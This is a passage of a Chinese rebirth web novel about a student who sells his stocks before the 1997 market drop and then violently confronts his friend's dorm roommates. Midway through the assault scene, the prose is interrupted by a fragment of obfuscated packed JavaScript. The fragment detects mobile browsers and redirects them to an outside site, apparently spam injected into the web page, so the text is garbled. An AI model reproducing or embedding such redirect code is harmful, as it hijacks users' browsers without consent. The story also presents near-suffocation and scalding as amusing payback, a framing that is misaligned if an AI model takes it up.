他停了一下,“而且你帮过我。最近家里出了点事,要不是你帮我出的主意,我连吃馒头的钱都没有。现在每天能吃上肉,所以这种选择对我来说没什么可犹豫的。” 楚强说话时的表情跟平时没什么两样,那张扑克脸上看不出任何情绪波动,好像只是在陈述一个事实。 韩学涛拿起桌上的课本:“随你吧,以后后悔了别赖我。” 对楚强的到来,小白倒是挺开心的——这回计算机课他能和楚强做同桌了。而且楚强跟他 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消息不长,但措辞严厉。大意是:为规范证券市场,防范金融风险,即日起严禁国有企业、上市公司等利用银行信贷资金及自有资金炒作股票。已入市的,要限期清理。各级监管部门要加强检查,对违规行为严肃处理。 韩学涛把这则消息从头到尾看了两遍,然后合上报纸,靠在自行车上,咬了一口冰棍,没说话。 这个消息,放在别人眼里,可能只是政府又一次“规范市场”的常规操作。国企资金入市炒股,这事儿早就不是秘密了,1994年、1995年都出过类似的通知,市场反应也就那么回事。该涨还涨。 但韩学涛知道,这一次不一样。 五月份出这个消息,意味着监管层已经准备接下来的动作了。 国企资金是这波行情的重要推手之一,现在要把这个水龙头拧紧,市场的供给端就会发生变化。 他回想了一下这波行情的节奏——从年初到现在,已经涨了快五个月了。按照上一世的历史轨迹,顶部就在五月中旬。消息出来到真正见顶,还有几天的时间窗口。 差不多了。 自己的股票,这几天就准备卖出吧。 第103章 我有一个内幕消息 “老谢,今天老师点名的话,帮我请个假。” 星期一一大早,韩学涛就背上了包,准备出门。 老谢还在床上赖着,探出半个头来:“一大早干嘛去?” “有点事。”韩学涛没多说。 他走到门口,又想起什么,折回来走到小白的床边。小白已经洗漱完了,正坐在床边系鞋带。 “小白,今天计算机专业课,老师要是点名问起来,也帮我请个假。理由嘛——你自己随便编一个就行。” “嗯。你去吧,有人问起来,我会说。”小白点了点头,也没问韩学涛干什么去。 韩学涛转身出了门,骑上自行车就往校外奔。 上周五,财政部突然发布重磅消息——证券交易印花税税率从3‰上调至5‰。这是1997年股市最重量级的调控政策,消息一出,舆论就沸腾了。 隔了一个周末,消息在市场上发酵了两天。今天,无论如何也该是清仓的时候了。 经过食堂买了两个包子,韩学涛一个手扶把,一个手拿着包子啃。路过生活超市旁边的报刊亭,他都骑过去了,又刹住车,倒了回来。 刘阿姨正在整理报纸,看见他回来,有点意外:“小韩?一早要买什么报纸?” 韩学涛把自行车支好,走过去,压低声音说:“阿姨,我跟你说个事儿。” 刘阿姨看他神色认真,也凑过来。 “我得到了一个内幕消息,股票最近可能要下跌。您要是自己炒的话,能卖就卖,不能卖就减减仓吧。” 这阿姨对他不错,每次来买报纸都送一根冰棍。 这是啥?这就是善缘。能提醒一句就提醒一句。至于阿姨信不信,就不关他的事了。 刘阿姨吓了一跳,手里的报纸都放下了:“真的假的?你哪来的消息?可靠吗?” “消息的来源我就不好说了。”韩学涛笑了笑,“但是反正我信了,这个渠道以前给的准确率极高。您看,我今天早上课都不上了,就是去营业部卖股票的。” 刘阿姨看着他,半信半疑地点了点头。她还没想好该怎么回应,韩学涛已经冲她摆了摆手,骑上车走了。 宁海证券,新民路营业部。 早上八点,全体员工早会。 营业部经理四十出头,头发梳得一丝不苟,站在前面,手里拿着文件夹,表情严肃中带着点喜气。 “今天先说第一件事。”经理环顾一圈,“丁瑶同志,从今天起,正式转正了!” 他带头鼓掌。 底下掌声响起来,有真诚的,有敷衍的,也有酸溜溜的。 “这是我们营业部市场化招聘以来,转正的第一个正式员工。小丁入职以来,工作认真负责,客户开发和服务都做得很好,业绩有目共睹。希望大家向小丁同志学习。” 丁瑶坐在下面,腰板挺得笔直,迎着所有人的目光,脸上挂着得体的微笑。 她心里想的却是韩学涛。 万万没想到,这个大一的小师弟成了她的客户之后,对她的帮助会这么大。作为唯一一个没有内部关系、纯粹靠市场化招聘进来的员工,她当初连转正都不敢想。现在,她竟然是第一个转正的。 随着韩学涛的账户不断盈利,她的客户权益也稳步增长。甚至有一些老员工都眼红了——那可是一笔不断增值的大资金。不过因为韩学涛和她是大学校友,其他人也不好意思硬抢。 丁瑶心想,自己是不是应该请师弟吃一顿饭呢? 孟经理拍了拍桌子,把大家的注意力拉回来。 “第二件事,”他的语气沉下来,“上周五,财政部上调了印花税,从千分之三调到千分之五。这个消息,大家应该都知道了。” 底下安静了,所有人都竖着耳朵听。 “我的判断是——短期会有冲击,但中期趋势不变。”孟经理的语气很笃定,“为什么?因为当前市场的核心驱动逻辑,不是印花税,而是港岛回归。七月份回归之前,政策面的主基调是稳定和繁荣。上调印花税,目的是降温,不是逆转。管理层要的是慢牛,不是熊市。” 他顿了顿,目光扫过所有人:“所以,大家要把这个信心传递给客户。客户可能会恐慌,会来问,会想割肉。你们要做的,是告诉他们——趋势没变,基本面没变,回归的红利还没兑现。短期波动是正常的,甚至可能是加仓的机会。” 底下有人点头,有人在本子上记。 孟经理最后强调了一句:“当然,具体到个股,要区别对待。前期涨幅过大的、没有业绩支撑的,该提醒风险也要提醒。但整体上,不要制造恐慌。” 散会了。 丁瑶回到自己的工位,把电脑打开,交易系统登录上去。屏幕上跳动着红红绿绿的数字,距离九点半开盘还有十几分钟。 她把桌面上的东西整理了一下,拿起水杯喝了口水,脑子里又闪过韩学涛的脸。 不知道他今天会不会来。 就在韩学涛骑着自行车去证券营业部的时候,李曼刚结束早锻炼,拎着从食堂打的早餐回到寝室。 她推开门,把粥和包子放在桌上,正要去洗漱,床头的电话就响了。 一个室友刚好在附近,顺手接起来:“喂?……嗯,在呢,你等一下。”她把话筒递过来,“李曼,找你的。” 李曼有些诧异,谁这么早打电话来?她接过话筒:“喂?” 电话那头传来罗点点的声音,但跟她平时说话的语气完全不一样,又急又冲:“曼曼!韩学涛到底怎么回事儿?是不是他跟马辉说我男朋友不是好人?他凭什么这么说啊!” 李曼顿时一怔:“啥?不会吧,你从哪儿听说的?” “马辉亲口说的!还能有谁?”罗点点的声音带着明显的怒气,“曼曼你跟我说实话,韩学涛有没有跟你说过吴翔的坏话?他是不是在背后嚼舌头了?” “没有啊。”李曼连忙说,“韩学涛以前也没见过吴翔,为什么会说他坏话?” “那我怎么知道?”罗点点冲道,“我们好心好意去宁海大学找你们吃饭,他要是不想请就直说,谁稀罕他那一顿?在背后搬弄是非算什么东西!” “不是,点点你冷静一下,这其中是不是有什么误会?”李曼急道,“马辉为什么要跟你说这些?” “何止是说,他直接动手打人!”罗点点的声音一下子高了八度,“就昨天,我和吴翔去他们农院找他,结果马辉在食堂当着那么多人的面动手打人,打的时候亲口说的,说韩学涛也跟他说我男朋友不是好人!你要不信你自己去问马辉,看我有没有冤枉你们!” 李曼脑子里嗡了一下,一时语塞。 “那后来呢?闹成什么样了?”她问。 “什么样?”罗点点的声音哽咽了起来,“吴翔被打得满脸是血,头上缝了七针,现在还在医院!” “啊?” 第104章 我去把股票卖了 跟罗点点通完电话,李曼早餐都顾不上吃,抓起外套就往外跑。 她一路小跑到计算机系的大教室,推门进去,教室里只稀稀拉拉坐着几个人,而且还在吃早饭。 她挑了个靠前的位置坐下,把包放在旁边的椅子上占好座,然后就开始等。 一分钟,两分钟,五分钟,十分钟。 人越来越多,教室渐渐坐满了大半。上课铃快响了,韩学涛还没来。 李曼急得不行,眼睛一直盯着门口,每进来一个人就看一眼,每看一眼,眉头就紧一分。 离上课还有不到十分钟的时候,周晓白和楚强从门口走了进来。 李曼噌地站起来,招手喊:“小白!韩学涛呢?” 小白被她这架势吓了一跳:“涛哥……今天有事,一大早就出去了。” “啊?”李曼的声音都变了调,又急又气,“他干嘛去了?什么时候能回来?” 小白摇摇头:“不知道。他一大早就出门了,只说老师点名的话帮他请个假,我也没问他去干什么。” 李曼气得直咬牙:“见到他让他来找我!就说我找他有急事!” 小白一缩脖子,连连点头:“嗯嗯!一定一定!” “今天一定让他来找我!” 李曼胸口起伏着坐回座位上。上课铃响了,老师走进来开始讲课。她翻开课本,却一个字都听不进去,手里的笔在笔记本上戳了好几个黑点。 气死了。找你的时候你不在,而且还逃课! 与此同时,韩学涛赶到了宁海证券新民路营业部。 推开门,声浪扑面而来。交易大厅人声鼎沸——到处是站着的人,三三两两聚在一起,声音一个比一个大。毕竟周五出了那么重大的消息,很多股民根本坐不住。 “印花税从千三调到千五,涨了快一倍!” “我满仓啊,周一要是大跌,这半年白干了。” “大跌不至于吧?说是为了抑制过度投机。” “抑制投机?交易成本涨了一倍!” “我有个内部消息——这次是为了给港岛回归让路,先挤泡沫,回归后才能稳稳地涨。” 议论声嗡嗡作响,说什么的都有。大厅里弥漫着一股躁动的气氛,像一锅快要烧开的水。 韩学涛扫了一圈,找了个靠边的位置坐下。旁边有人跟他打招呼——巧了,还是上次那个胖大叔,嘴里叼着烟卷,从阿诗玛换成了红塔山。 “小伙子来得不多嘛。” “平时要上课。”韩学涛说。 胖大叔点点头:“你上次买的股票怎么样了?” “没看呢。今天有空过来看一眼。” “肯定没问题。”胖大叔大手一挥,“现在是牛市,随便买一只都能赚钱。不论政策还是信心,都在股民这边。” “信心是没错,”韩学涛说,“但政策……不是刚加了印花税吗?” 胖大叔一挥手:“这是利好!” “利好?” “政府为什么加印花税?因为市场太火了,要降温。政府为什么要降温?因为它觉得市场还能继续涨,只是要慢慢涨。这不就是利好嘛!”他越说越来劲,“再说了,港岛回归在即,股市能跌吗?你放心,政府比咱们还怕跌呢!” 韩学涛笑了笑:“有道理。” 话音未落,大厅忽然安静下来。 电子屏亮了。九点半,开盘。 大盘微微低开,不到三个点,大厅里响起一阵低低的惊呼。但低开只持续了一瞬间——指数开始直线上拉,红柱一根接一根往上窜。 “看到了吧!”胖大叔一拍大腿,“我就说是利好!这时候谁要卖,谁就上主力的当了!” 韩学涛看了一眼自己买的那只股票的价格——比他二月份买入时,涨了三倍多。 他当时只是凭运气选股,现在看来运气还不错。 他站了起来。 “这才刚开盘,去哪儿?”胖大叔拉了他一把。 “去把股票卖了。”韩学涛淡淡道。 胖大叔嘴里的烟差点掉下来:“现在卖可就亏了!回归前搞不好还能再翻一倍!” 韩学涛笑了笑:“学习才是我的主业。以后机会有的是。呃,谢谢大叔。” 胖大叔张了张嘴,看着他那双平静的眼睛,到嘴边的话又咽了回去。 他目送韩学涛的背影穿过人群,消失在柜台那边。手里的烟烧到了过滤嘴,烫了一下手指,才反应过来,赶紧掐灭。 心里突然有点发虚。 丁瑶桌上的电话响了。 她拿起来,还没开口,那边就传来韩学涛的声音,干脆利落:“师姐,帮我把手上的股票全卖掉。” 丁瑶愣了一下,以为自己听错了:“现在卖?” “对,全卖。” 丁瑶下意识地看了一眼电脑屏幕。大盘分时线昂首向上,红柱一根接一根,成交量稳步放大,市场情绪很热。早上开盘那点低开早就被吞得干干净净,现在市场上只有一种声音——买。 她握着话筒,压低声音:“师弟,你确定?周五是加了印花税,但今天早上的走势你看到了,利空已经被消化掉了,这说明市场信心很足。早上开会我们老总还专门说了,短期震荡不改长期向好,港岛回归之前不会有大的调整。你现在卖,不是跟钱过不去吗?” 她的语速很快,语气急切:“就算你要卖,最近的时间窗口也应该是在港岛回归以后。现在离回归还有一个多月,行情至少还能走一波——” “师姐,我决定了。” 韩学涛的声音不大,语气也很平静,但没有任何商量的余地。 丁瑶张了张嘴,话到嘴边被这四个字堵了回去。 她叹了口气,手指落在键盘上:“我知道了,现在帮你下单。” 此时买单正汹涌,韩学涛那点股票没费什么劲就全部成交了。丁瑶看着屏幕上跳出来的成交数据,一时有些恍惚。 她算了一下。 八万本金,变成了二十二万多。 她上个月刚转正,工资加补贴,一个月满打满算不到六千块。照这个速度,这位读大一的小师弟,光股票账户上的钱,就够她不吃不喝赚上几十年。 丁瑶靠在椅背上,看着屏幕上的数字,心情有些复杂。 韩学涛赶回学校,也没急着去上课,直接回了寝室。 反正课也赶不上了,不如把那套MIT的GPS课程多听一点,早点听完早点还给冯老师。 他一边听一边在笔记本上记,时间过得飞快。 快到中午的时候,寝室里的人陆陆续续回来了。 小白进门看见韩学涛,立刻把李曼找他的事说了,末了还补了一句:“她看起来挺着急的,而且……好像有点生气。” “???” 韩学涛拿起话筒,拨了李曼宿舍的号码。 第105章 她给男生打饭 韩学涛打电话到李曼寝室,接电话的是她室友:“李曼啊?她去食堂了,刚走没多久。” 挂了电话,韩学涛拿起饭盒就往食堂走。 食堂里,李曼正和程嘉面对面坐着吃饭。 两人是在打饭的时候碰上的。程嘉端着餐盘从另一侧过来,看见李曼,很自然地打了个招呼,就学生会迎“回归汇演”的事聊了几句,然后顺势一起打饭,找了座位坐下。 程嘉一边吃饭一边说话,目光却总是不经意地落在李曼脸上。 他语气自然,笑容得体,但眼底藏着一丝热切。 他今年大三,下学期就大四了。作为学生会副会长,他在学校表现一向优异——成绩好、能力强、人缘也不错,老师和同学都看好他。 对于未来,他有自己的理想:毕业后进机关或大型国企,从基层干起,一步一个脚印往上走。他对自己有信心,觉得自己这样的人,迟早能出头。 但理想这东西,有时经不起现实轻轻一碰。 前女友是比他低一届的学妹,两人谈了将近两年,感情一直不错。去年冬天,前女友突然提出分手。他问原因,前女友支支吾吾了半天,最后说了一句:“他答应我毕业就能进银行,编制内。” 那个“他”,不是什么名牌大学的学生,甚至连本科都不是,只是宁海金专的一个大专生。 宁海金专,全称宁海金融高等专科学校,虽不是名校,但有个特点——专门培养银行子弟。那个大专生的父亲是宁海一家国有银行支行的副行长,一个电话就能解决的事,程嘉拼四年也够不着。 程嘉输得体无完肤。 他不是输给那个大专生,而是输给了一个副行长的职位,输给了一张编制内的饭票,输给了这个社会最赤裸裸的现实。 那段时间他很难受,但难受过后,他想明白了一件事:理想不能当饭吃,关系才是硬通货。 理想被烧成了灰烬,但从灰烬里,又滋生出更大的野心。 他母亲跟李曼母亲的一位同事是闺蜜,那同事偶尔会提起顾爱芝在单位的情况。一来二去,程嘉对李曼的家庭背景有了大致了解——父亲在纪委工作,具体职务不清楚,但级别不低。后来他特意打听了一下,心里就有了数:李曼的父亲,不是普通的纪委干部。 所以,当他得知李曼也考进了宁海大学,心里的那个念头便慢慢成形了——前女友找了个银行副行长的儿子,算个屁。如果能追到李曼,那就是找到了市常委家的女儿。 这一步跨过去,他的人生就彻底不一样了。 况且李曼的外貌也无可挑剔,比他前女友还漂亮不少。 “你们生活部的工作,我是大力支持的。虽然文艺彩排主要是文艺部在搞,但运转的核心还是你们生活部。需要调动资源、协调人事,你提前跟我说,我会帮你跟其他部门打招呼。”他看着李曼,语气中带着恰到好处的关切,“好好干。你们部长赵萍萍夏天就要离校了,她也没什么心思管,责任和压力都在你身上……” 李曼坐在对面,手里拿着筷子,饭没吃几口,程嘉的话也没听进去几句,脑子里想的完全是另一回事。罗点点早上那通电话一直在她脑子里转,还有韩学涛今天上午逃课,不知道跑哪儿去了,连个招呼都不打。 她越想越气,忍不住哼了一声。 程嘉一愣:“怎么了?” 李曼反应过来,连连摆手:“没有没有,我想到了一点别的事。” “什么事?”程嘉问。 就在这时,一个人影从食堂门口走了进来。 韩学涛端着空饭盒站在门口扫了一眼,目光很快就锁定了李曼的位置——她喜欢坐靠窗的那个座位,只要没被人占,一般都坐那儿。 他拎着空饭盒,径直朝李曼走了过去。 李曼猛一抬头。 那一瞬间,她脸上的神情跟刚才和程嘉说话时的漫不经心完全不同了,整个人像上了发条,瞬间被激活。从座位上弹起来,一把抓住韩学涛的胳膊:“你上午逃课跑到哪儿去了?” “有点事儿,回头跟你说。听小白说你有急事找我?” “嗯嗯嗯!”李曼重重点头,拉着他的胳膊就走,“我们去那边说。” 她拽着韩学涛往食堂后面那排空座位走,走出去好几步,突然想起自己的饭盒还没拿,又折回来端上饭盒,连看都没看程嘉一眼,急匆匆地就往后面跑了。 程嘉坐在原地,筷子悬在半空中,看着李曼跑远的背影,脸上的表情一点一点凝固了。 这一瞬间,他感觉自己像是透明的。 他看见李曼跑到后面,韩学涛似乎想去打菜,却被她伸手拦住,不容分说地把韩学涛的饭盒端在手里,又掏出自己的饭卡,转身就往打菜窗口跑去,那架势分明是要帮他打菜。 筷子慢慢放下来,落在餐盘边上,程嘉端起杯子喝了口水,目光穿过食堂嘈杂的人群,落在远处那个忙碌的身影上——李曼正踮着脚尖往打菜窗口里张望,而韩学涛坐在座位上,两手空空,什么都不用干。 程嘉看着这一幕,眼底那丝热切渐渐变成了阴霾。 ... 李曼打了饭往韩学涛面前一顿。 韩学涛看了一眼,“这么多,你当我是猪吗?” “你就吃吧。”李曼在他对面坐下来,表情认真地说,“接下来我要跟你说话,然后问你一些问题。你吃饱了才能想清楚怎么答。” “这么严肃,到底什么事?”韩学涛夹起一块肉。 李曼深吸一口气,把罗点点早上打电话来的事情从头到尾说了一遍。 她越说越快,越说越急,“点点气得够呛,听她的语气,甚至连我都想绝交了。说不定她还怀疑我也说了她男朋友的坏话。” 韩学涛听着,眉头微微皱了起来。 “你到底有没有跟马猴说?”李曼盯着他。 韩学涛放下筷子:“马猴来过一次宁海大学,没叫你出来,拉着我一起喝了顿酒,喝醉了。” 李曼愣了一下:“啊?” 韩学涛说:“马猴他爸是刑警,他凭着自己警二代的本能,怀疑罗点点的男朋友不是什么好人。我本来不太信,觉得马猴是出于嫉妒。但那天见了吴翔本人之后,我觉得他这个警二代也不是完全不靠谱。” 李曼瞪大了眼睛:“所以你跟马猴说了?” “我给他打了个电话,赞同了他的想法。” “那点点那边怎么办?她误会了呀!”李曼急了,“而且再怎么样也不能打人啊!点点说吴翔头上缝了七八针!” 韩学涛语气淡淡的:“缝就缝呗。别说七八针,就是满脸缝成蜘蛛网,也跟我没关系。” “你……”李曼被噎住了,瞪着他,“你怎么说这种话?你有没有想过点点那边怎么办?” 韩学涛看着她,表情没什么变化:“罗点点明知道马猴对她有意思,还带着新男朋友跑到农院去找马猴。被打了很意外么?” 李曼张了张嘴,想反驳,却发现好像确实没什么好反驳的。 韩学涛又说:“我现在不关心吴翔,也不在意罗点点误会不误会。我关心的是马辉现在怎么样了。” 这话一出,李曼愣住了。 第106章 马辉在这寝室吗? 听到韩学涛的话,李曼脸上浮起一层薄薄的愧色。 这一早上,她的脑子里塞满了各种各样的事——想韩学涛是不是被冤枉了,想自己和罗点点的关系会不会因此出现裂痕,想吴翔被打得满脸是血,会不会破相。翻来覆去地想,想了很多,唯独没有想过马辉。 他为什么要动手?自己有没有受伤?在学校食堂里**,处分肯定跑不了吧? 她低下头,问:“那怎么办……我们一会儿给马猴打个电话?” 韩学涛想了想,说:“还是我过去一趟吧。” 他觉得这件事自己多少也脱不了干系。要是那天没在电话里多嘴提醒马猴那一句,或许就不会闹成这样。也许正是因为他在电话里赞同了马辉的直觉,才让马辉认定了吴翔不是个好东西,才会为了罗点点不管不顾地出了手。 他不再多说,埋头加快了吃饭的速度,把李曼打来的那满满一盆饭吃得一粒不剩,端起汤灌了一大口,然后站起来。 “我现在过去。” “有什么消息给我打电话。”李曼也跟着站起来,看着他往外走,“不管怎么样,先问清楚是怎么回事。” 韩学涛摆了摆手,向外走去。 出了校门,他直接拦了一辆出租车,直奔农学院。 农学院在宁海城北,和宁海大学隔着大半个城区。出租车颠簸了二十多分钟,在校门口停下。韩学涛问了路,一路找过去,终于看到了新生宿舍楼——农学4号楼。 121寝室在走廊的最深处,门半敞着,里面隐隐约约传来说话声,闷闷的,不大真切。 韩学涛推门进去,目光在屋里扫了一圈。 寝室不大,四张床,上下铺。 门口的下铺上坐着一个小个子男生,戴眼镜,手里捧着一本武侠,皱着眉头读着。 屋里靠窗的下铺,铺开了一张很大的彩色纸,一个长头发的男生正用水彩笔画着什么,花花绿绿的,看不出个名堂。 上铺有个人躺着,被子拉到胸口,脸朝着墙,只露出一个后脑勺。 韩学涛站在门口,问戴眼镜的小个子:“马辉是在这寝室么?” 话音一落,小眼镜明显愣了一下,眼神闪了闪,脸上的表情变得有些微妙。 他没有接话,而是转过头去看屋子里的另外两个人。 画画的男生侧过脸来,瞟了韩学涛一眼,嘴里轻轻地“嘁”了一声,便又转了回去,背对着门口,动作里带着一股毫不掩饰的不耐烦。 上铺那个人更是干脆,一把拽过被子蒙住了头,含混地嘟囔了一句:“烦**……” 韩学涛脸色一沉。 他没再问,径直走了进去。几步就到了靠窗的书桌旁。 桌上堆着几本书,横七竖八的,有几本摞在一起,有一本摊开来扣在桌面上,纸页都翘起来了。 他随手拿起那摞书翻了翻,翻开封面,扉页上歪歪扭扭地写着两个字——马辉。是马猴的字迹,一笔一画都带着那种吊儿郎当的味道。 他又往后翻了几页,书里夹着一张纸,抽出来展开一看,是一幅铅笔画——《圣斗士星矢》里的星矢和雅典娜,画得很认真。右下角签着两个字:马辉。 韩学涛把书合上,转过身问小眼镜:“马辉人呢?” 小眼镜反问了一句:“你是?” “我是他朋友。” 小眼镜张了张嘴,还没来得及说出什么,那个画画的长毛先开了口。 “你不是我们学校的吧?跑我们寝室来干什么?进来就乱翻,回头丢了东西算谁的?”语气又冲又硬。 韩学涛瞟了他一眼,没吭声,目光落在书桌靠墙的角落里——那里放着一个太空杯,杯身上印着圣斗士星矢的图案,和那幅画是同一个路子,杯壁上隐隐约约能看到几个用圆珠笔写的字,被水渍洇得模模糊糊的。 韩学涛弯腰从墙角拎起一个热水瓶,拧开盖子,往太空杯里缓缓倒了半杯热水。 热气腾腾地升起来,杯壁上立刻凝了一层细密的水雾。可就在那层雾气里,那几个原本模糊的字迹反而清晰了起来——马辉。还是那个歪歪扭扭的字体,和书扉页上一模一样。 画画的长毛这时候终于抬起了头,把手里的水彩笔往纸上一摔,声音拔高了几分:“谁让你乱动东西的?我跟你说话你没听见?聋了?” 上铺那个人也一下子坐了起来,瞪着韩学涛,嗓门更大:“你谁啊?谁让你拿我热水瓶的?放下!出去出去!” 韩学涛端着那个太空杯,慢慢转过身来。 而那个画画的长毛还在叫嚣,用笔指着韩学涛:“**谁啊?问你话呢!不是我们学校的跑进来撒什么野?信不信我喊楼长把你轰出去?” 上铺那个人也彻底坐起来了,语气比长毛还冲:“你耳朵是摆设是吧?我让你把热水瓶放下,听见没有?这是我们寝室的东西,你算老几啊随便拿?” 韩学涛面无表情地把热水瓶慢慢放到桌上,手里仍然端着杯子,歪头看向长毛,淡淡地说道: “打扰你艺术创作了?不好意思啊,要不我帮帮你吧。” 话音未落,他把手里那杯热水——连水带杯子——直接泼在了长毛铺开的那张彩色纸上。 水花四溅。 花花绿绿的颜色被水一冲,立刻晕开、混在一起,变成一摊浑浊的污水,顺着桌沿往下淌。长毛精心画了大半天的东西,瞬间成了一团废纸。 长毛呆住了。 他低头看着那摊污水,眼睛瞪得溜圆,嘴巴张了张,一时间竟然没反应过来。过了两秒,他的脸从呆滞变成暴怒,猛地抬起头,伸手就要来抓韩学涛的衣领。 韩学涛一脚踹在凳子上,凳子飞出,撞中长毛的膝盖。 长毛“哎哟”一声,膝盖一软,整个人往前栽。韩学涛顺手抓住他的头发,往下一摁—— 长毛的脑袋直接撞在了下铺的床铺上,脸朝下埋进枕头里,整个人被摁得动弹不得。 水彩颜料和调料瓶被撞翻了一地,红的绿的黄的,溅了一身。长毛的脸上、头发上、衣服上全是花花绿绿的颜料,跟那幅被毁掉的画如出一辙。 韩学涛抓着他的头发,把他的脸摁在枕头上,俯下身说:“**,很前卫嘛。有没有找到灵感?” 长毛的脸被摁在枕头上,喘不过气来,双手拼命拍打床铺,嘴里发出“呜呜”的声音,像一条被摁在案板上的鱼。 韩学涛等了半分钟,把他拉起来。 长毛大口大口地喘气,脸上青一块紫一块的颜料糊在一起,眼泪鼻涕全出来了,十分狼狈。 “学种田可惜了。”韩学涛看着他那张花里胡哨的脸,“你这样的人才,应该上艺校啊。” 说完,又把他的脑袋摁回了枕头里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439308|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>这回比刚才更久。长毛的挣扎从一开始的剧烈慢慢变得微弱,拍打床铺的动静也越来越小,嘴里只能发出含混的气音。韩学涛心里默数着,足足憋了快一分钟,才松手。 长毛趴在床上,像条死鱼一样,浑身发抖,连抬头的力气都没了,只剩下粗重的喘息声。 上铺那个人从头看到尾,整个人缩在被子里,脸都白了。 韩学涛慢慢抬起头,目光落在他身上。 那人吓得一哆嗦,声音都变了调:“你……你干嘛?” 韩学涛没说话,伸手拎起刚才那个热水瓶——还有半瓶热水,踩着桌子,一步就跨到了上铺的高度,左手揪起那人身上的被子,往他头上一蒙,右手举起热水瓶,对准被子浇了下去。 “都下午了还睡在床上,是不是肾虚?”韩学涛不紧不慢,热水从瓶口流出来,浇在棉被上,冒着热气,“大郎,我伺候你吃药。” 那人被蒙在被子里,热水隔着棉被渗进来,不烫,但那股湿热的感觉顺着布料贴到皮肤上,吓得他魂都快飞了。他在被子里拼命挣扎,嘴里嗷嗷直叫,声音又尖又惨,像杀猪一样。 韩学涛一瓶倒完,停下来,扯开被子。 那人的脸从被子里露出来,红彤彤的,嘴唇直抖,一个字都说不利索。 “喝饱了没有?”韩学涛拎着热水瓶,看着他,“不满意的话,下一瓶我不用被子,直接往你头上浇。感觉更爽。” 那人连忙摆手,声音又急又碎:“别别别!大哥别!马辉是我们寝室的,但我也不知道他现在的情况啊!真的!我就是个睡觉的,什么都不知道!放了我吧大哥!” 韩学涛看了他一眼,从桌上跳下来,拍了拍裤子。 长毛还趴在床上喘气,上铺那个缩在墙角发抖。韩学涛没再管他们,转过头,看向门口那个小眼镜。 小眼镜从刚才开始就贴在门框上,一动不敢动,脸色比上铺那个还白。他看见韩学涛看过来,腿一软,差点没站住。 “你。出来。”韩学涛一指。 说完,他头也不回地走出了寝室。 小眼镜根本不敢反抗,低着头,跟着他出去了。 走廊里没人。韩学涛等小眼镜跟上来,问:“马辉现在人呢?你知不知道?” 小眼镜咽了口唾沫:“在……在学校保卫处。昨天在食堂打了人,就被带去了,一直没回来。” 韩学涛看着他,又问了一句:“马辉在寝室,跟你们关系处得不好?” 小眼镜低着头,犹豫了一下,小声说:“其实……受排挤的是我。马辉帮我说过几次话,结果他们就连马辉也膈应上了。” 韩学涛眼睛微微眯了一下:“马辉帮你说过话?” 小眼镜点头。 “刚才我问你马辉在不在,你为什么不吭声?” 小眼镜支支吾吾,嘴唇哆嗦了半天,挤出一句:“我……我不敢。” 韩学涛看着他,笑了一下。 “马猴子真是眼瞎。滚吧。” 转身就走。 韩学涛下了楼,出了宿舍区,一路问了几个人,找到了学校保卫处。 保卫处在一栋老办公楼的二层,灰色的水泥墙面,楼梯扶手生了一层铁锈。他刚走上二楼,楼梯口就迎面碰上了两个人。一个穿着保卫处制服的中年人,带着一个年轻人,垂着头往下走。 是马辉。 第107章 她有选择倒霉的权力 “涛子?你怎么来了?” 马辉看到韩学涛,愣了一下,显然没想到他会来。 那个带着马辉下来的保卫干部看了韩学涛一眼,上下打量了一下,转头问马辉:“这是你们班的?” “不是,是我高中同学,考到宁海大学的。”马辉说。 保卫干部点了点头,拍了拍马辉的肩膀,语气比韩学涛预想的要和气不少:“就要多跟这样的同学来往嘛。上了大学是让你们继续好好学习的,不是让你们来打架的。” 他顿了顿,又嘱咐道:“这段时间你正常上课,等待学校的处理意见。不要有思想包袱,也不要隐瞒家长——毕竟处分肯定是要有的,也让家里人提前有个思想准备。” 马辉低着头,没吭声。 韩学涛开口问了一句:“请问领导,马辉会遭到什么处分?” 保卫干部摆摆手:“我不是领导,也决定不了。我们只负责学校的保卫和治安,最终的处分结果还是行政领导决定的。”他看着韩学涛,“你是马辉的同学,就多劝劝他,以后不要这么冲动。” 说完,他冲两个人点了点头,转身上楼去了。 韩学涛和马辉一起离开保卫处的小楼。外面是一处种着葡萄藤的水泥格廊,两个人走到廊下,马辉忽然一把拉住韩学涛的胳膊,语气急切地说:“涛子,你来得正好,快帮我想想办法——怎么才能让点点离开那个家伙?” 韩学涛问:“到底怎么回事?” 马辉深低下头,像是在组织语言,又像是在压住心里的火。 “点点带着那个人来找我,我明白她的意思——她是想告诉我,她已经做出了选择。但同时她也珍视和我之间的友谊,以前信里她也说过类似的话,她不想失去我这个朋友。既然这样,我就请他们吃一顿饭。不管怎么说,我和点点还是同学,好朋友。” 韩学涛点头:“那不挺好。” “可是你知道后来那家伙跟我说了一句什么话?”马辉的声音突然拔高,整个人像被点着了一样,脸一下子涨红,“点点去买汽水,就我和他两个。我说让他以后好好对待点点,你猜他跟说什么?” “嗯?” “那个王八蛋跟我说——”马辉脸上的表情绷了起来,声音从牙缝里挤出,“他说,‘哥们儿,罗点点这女孩挺不错的,但是你没跟她交往过,可能没感觉——她有一个缺点,就是胸小。’” 他说完这句话,整个人都在发抖,嘴唇哆嗦着,拳头攥了又松、松了又攥,像是又回到了昨天那个瞬间。 韩学涛也错愕了一下。 这话说得实在有些露骨。难怪马辉会这么生气。 只是那小白脸为何要跟马辉说这个?拆白党这行,要么骗财,要么骗色,骗打的还是第一次见。故意激怒对方,对他有什么好处? “你把他的话告诉罗点点了?”韩学涛问。 “没有。”马辉摇头,声音闷闷的,“这种话我怎么能说得出口。” 他猛地抬头,一把抓住韩学涛的袖子:“涛子,这种话都说得出来,那家伙就是个畜生,没跑了!你帮我想想办法,怎么才能让点点离那家伙远一点?” 韩学涛看着他,沉默了两秒,然后摇了摇头。 “我没办法。这件事情我也不会去管的。” 马辉愣住了,像是没听懂:“你说什么?” “我说我不管。”韩学涛重复了一遍,语气平淡。 “难道我们就看着点点往火坑里跳?”马辉眼睛瞪大,难以置信地看着韩学涛,“涛子,你——” 